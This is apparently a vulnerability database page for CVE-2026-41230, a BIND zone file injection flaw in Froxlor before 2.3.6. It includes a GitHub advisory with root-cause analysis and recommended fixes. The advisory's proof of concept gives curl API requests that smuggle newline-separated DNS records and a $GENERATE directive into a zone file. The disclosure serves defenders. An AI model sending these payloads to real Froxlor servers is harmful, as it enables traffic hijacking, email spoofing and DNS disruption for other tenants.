Vulnerability-Lookup

CVE-2026-41230 (GCVE-0-2026-41230)

Vulnerability from cvelistv5 – Published: 2026-04-23 03:47 – Updated: 2026-04-23 13:58

Title

Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Summary

Froxlor is open source server administration software. Prior to version 2.3.6, `DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file. Version 2.3.6 fixes the issue.

Severity

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-23 13:58 UTC

CWE

CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/froxlor/froxlor/security/advis…	x_refsource_CONFIRM
https://github.com/froxlor/froxlor/commit/47a8af5…	x_refsource_MISC
https://github.com/froxlor/froxlor/releases/tag/2.3.6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
froxlor	froxlor	Affected: < 2.3.6	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-41230

Vulnerability from fkie_nvd - Published: 2026-04-23 04:16 - Updated: 2026-06-17 10:46

Severity

8.5 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442	Patch
security-advisories@github.com	https://github.com/froxlor/froxlor/releases/tag/2.3.6	Release Notes
security-advisories@github.com	https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	froxlor	froxlor	*

JSON

To clipboard

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          "product": "froxlor",
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}

GHSA-47HF-23PW-3M8C

Vulnerability from github – Published: 2026-04-16 00:47 – Updated: 2026-04-24 20:54

Summary

Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Details

Summary

DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.

Details

Missing type whitelist — DomainZones.php:93:

The type parameter is accepted directly from user input with no validation against allowed values:

// lib/Froxlor/Api/Commands/DomainZones.php:93
$type = $this->getParam('type', true, 'A');

The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:

// TODO regex validate content for invalid characters

Missing newline sanitization — DomainZones.php:154:

The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:

// lib/Froxlor/Api/Commands/DomainZones.php:154
$content = trim($content);

Unsafe zone file output — DnsEntry.php:83:

DnsEntry::__toString() concatenates content directly into zone file format without escaping:

// lib/Froxlor/Dns/DnsEntry.php:83
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t"
    . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "")
    . $_content . PHP_EOL;

Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.

Zone file write — Bind.php:121:

// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);

The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.

Execution flow: 1. Customer sends API request with type=NAPTR and content containing \n-separated lines 2. getParam() returns raw values without sanitization 3. Type NAPTR matches none of the if/elseif conditions — no content validation runs 4. trim($content) preserves embedded newlines 5. Content is inserted into domain_dns table via prepared statement 6. DNS cron creates DnsEntry objects from DB records (Dns.php:297) 7. DnsEntry::__toString() outputs content with embedded newlines into zone format 8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records

PoC

Step 1: Inject a DNS record with embedded newlines via API

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
    }
  }'

Expected: HTTP 200 with success response. The record is stored in the database.

Step 2: Wait for DNS cron to rebuild zones (or trigger manually)

# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns

Step 3: Inspect the generated zone file

cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@    18000    IN    NAPTR    100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .

The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

Step 4: Verify BIND directive injection

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
    }
  }'

This injects a $GENERATE directive that creates 255 PTR records.

Impact

An authenticated customer with DNS editing enabled can:

Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
Inject BIND server directives ($INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.
Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.

While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.

Recommended Fix

1. Add a type whitelist in DomainZones::add() (primary fix):

// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');

$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
    throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}

2. Strip newline characters from content (defense-in-depth):

// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));

3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:

// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:47:26Z",
    "nvd_published_at": "2026-04-23T04:16:19Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain\u0027s zone file.\n\n## Details\n\n**Missing type whitelist \u2014 `DomainZones.php:93`:**\n\nThe `type` parameter is accepted directly from user input with no validation against allowed values:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:93\n$type = $this-\u003egetParam(\u0027type\u0027, true, \u0027A\u0027);\n```\n\nThe if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation:\n\n```php\n// TODO regex validate content for invalid characters\n```\n\n**Missing newline sanitization \u2014 `DomainZones.php:154`:**\n\nThe content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:154\n$content = trim($content);\n```\n\n**Unsafe zone file output \u2014 `DnsEntry.php:83`:**\n\n`DnsEntry::__toString()` concatenates content directly into zone file format without escaping:\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php:83\nreturn $this-\u003erecord . \"\\t\" . $this-\u003ettl . \"\\t\" . $this-\u003eclass . \"\\t\" . $this-\u003etype . \"\\t\"\n    . (($this-\u003epriority \u003e= 0 \u0026\u0026 ($this-\u003etype == \u0027MX\u0027 || $this-\u003etype == \u0027SRV\u0027)) ? $this-\u003epriority . \"\\t\" : \"\")\n    . $_content . PHP_EOL;\n```\n\nNewlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.\n\n**Zone file write \u2014 `Bind.php:121`:**\n\n```php\n// lib/Froxlor/Cron/Dns/Bind.php:121\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\nThe `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only \u2014 the server-side `DomainZones::add()` has no corresponding whitelist.\n\n**Execution flow:**\n1. Customer sends API request with `type=NAPTR` and `content` containing `\\n`-separated lines\n2. `getParam()` returns raw values without sanitization\n3. Type `NAPTR` matches none of the if/elseif conditions \u2014 no content validation runs\n4. `trim($content)` preserves embedded newlines\n5. Content is inserted into `domain_dns` table via prepared statement\n6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`)\n7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format\n8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records\n\n## PoC\n\n**Step 1: Inject a DNS record with embedded newlines via API**\n\n```bash\ncurl -s -X POST \u0027https://froxlor.example.com/api.php\u0027 \\\n  -u \u0027APIKEY:APISECRET\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"id\": 1,\n      \"type\": \"NAPTR\",\n      \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n@ 300 IN A 1.2.3.4\\n@ 300 IN NAPTR 100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\"\n    }\n  }\u0027\n```\n\nExpected: HTTP 200 with success response. The record is stored in the database.\n\n**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**\n\n```bash\n# As admin, trigger the DNS rebuild cron\nphp /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns\n```\n\n**Step 3: Inspect the generated zone file**\n\n```bash\ncat /etc/bind/domains/example.com.zone\n```\n\nExpected zone file content includes injected lines:\n\n```\n@    18000    IN    NAPTR    100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" .\n```\n\nThe line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker\u0027s IP.\n\n**Step 4: Verify BIND directive injection**\n\n```bash\ncurl -s -X POST \u0027https://froxlor.example.com/api.php\u0027 \\\n  -u \u0027APIKEY:APISECRET\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"id\": 1,\n      \"type\": \"NAPTR\",\n      \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.\"\n    }\n  }\u0027\n```\n\nThis injects a `$GENERATE` directive that creates 255 PTR records.\n\n## Impact\n\nAn authenticated customer with DNS editing enabled can:\n\n1. **Inject arbitrary DNS records** bypassing all content validation \u2014 including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.\n2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.\n3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.\n4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.\n\nWhile this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.\n\n## Recommended Fix\n\n**1. Add a type whitelist in `DomainZones::add()` (primary fix):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php \u2014 after line 93\n$type = $this-\u003egetParam(\u0027type\u0027, true, \u0027A\u0027);\n\n$allowed_types = [\u0027A\u0027, \u0027AAAA\u0027, \u0027CAA\u0027, \u0027CNAME\u0027, \u0027DNAME\u0027, \u0027LOC\u0027, \u0027MX\u0027, \u0027NS\u0027, \u0027RP\u0027, \u0027SRV\u0027, \u0027SSHFP\u0027, \u0027TLSA\u0027, \u0027TXT\u0027];\nif (!in_array($type, $allowed_types)) {\n    throw new Exception(\"DNS record type \u0027\" . htmlspecialchars($type) . \"\u0027 is not supported\", 406);\n}\n```\n\n**2. Strip newline characters from content (defense-in-depth):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php \u2014 replace line 154\n$content = trim(str_replace([\"\\r\", \"\\n\"], \u0027\u0027, $content));\n```\n\n**3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:**\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php \u2014 at the start of __toString()\n$_content = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, $this-\u003econtent);\n```",
  "id": "GHSA-47hf-23pw-3m8c",
  "modified": "2026-04-24T20:54:04Z",
  "published": "2026-04-16T00:47:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()"
}

WID-SEC-W-2026-1124

Vulnerability from csaf_certbund - Published: 2026-04-14 22:00 - Updated: 2026-04-22 22:00

Summary

Froxlor: Mehrere Schwachstellen

Severity

Hoch

Scope

6 vulnerabilities in this advisory, including CVE-2026-41230.

CVE-2026-41230

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-41230 (GCVE-0-2026-41230)

FKIE_CVE-2026-41230

GHSA-47HF-23PW-3M8C

Summary

Details

PoC

Impact

Recommended Fix

WID-SEC-W-2026-1124

Tags

Sightings

Nomenclature

Related by attack behaviour